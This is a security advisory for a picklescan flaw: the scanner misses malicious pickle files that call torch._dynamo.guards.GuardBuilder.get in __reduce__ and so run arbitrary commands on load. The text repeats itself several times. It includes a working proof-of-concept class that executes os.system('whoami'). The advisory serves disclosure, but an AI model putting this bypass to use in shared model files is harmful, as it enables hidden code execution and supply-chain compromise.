CVE-2025-71353

picklescan before 0.0.28 fails to detect malicious pickle files that exploit torch._dynamo.guards.GuardBuilder.get function in reduce methods. Attackers can craft pickle files with embedded code that evades picklescan detection and executes arbitrary commands when loaded.

picklescan before 0.0.28 fails to detect malicious pickle files that exploit torch._dynamo.guards.GuardBuilder.get function in reduce methods. Attackers can craft pickle files with embedded code that evades picklescan detection and executes arbitrary commands when loaded.

picklescan before 0.0.28 fails to detect malicious pickle files that exploit torch._dynamo.guards.GuardBuilder.get function in reduce methods. Attackers can craft pickle files with embedded code that evades picklescan detection and executes arbitrary commands when loaded.

Summary

Using torch._dynamo.guards.GuardBuilder.get function, which is a pytorch library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to torch._dynamo.guards.GuardBuilder.get function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

import types
import torch._dynamo.guards as guards

class EvilTorchDynamoGuardsGet:
    def __reduce__(self):
        fake_self = types.SimpleNamespace(scope={})
        name = "__import__('os').system('whoami')"
        return guards.GuardBuilder.get, (fake_self, name)

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT https://github.com/Qhaoduoyu

picklescan before 0.0.28 fails to detect malicious pickle files that exploit torch._dynamo.guards.GuardBuilder.get function in reduce methods. Attackers can craft pickle files with embedded code that evades picklescan detection and executes arbitrary commands when loaded.

picklescan before 0.0.28 fails to detect malicious pickle files that exploit torch._dynamo.guards.GuardBuilder.get function in reduce methods. Attackers can craft pickle files with embedded code that evades picklescan detection and executes arbitrary commands when loaded.

Summary

Using torch._dynamo.guards.GuardBuilder.get function, which is a pytorch library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to torch._dynamo.guards.GuardBuilder.get function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

import types
import torch._dynamo.guards as guards

class EvilTorchDynamoGuardsGet:
    def __reduce__(self):
        fake_self = types.SimpleNamespace(scope={})
        name = "__import__('os').system('whoami')"
        return guards.GuardBuilder.get, (fake_self, name)

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT https://github.com/Qhaoduoyu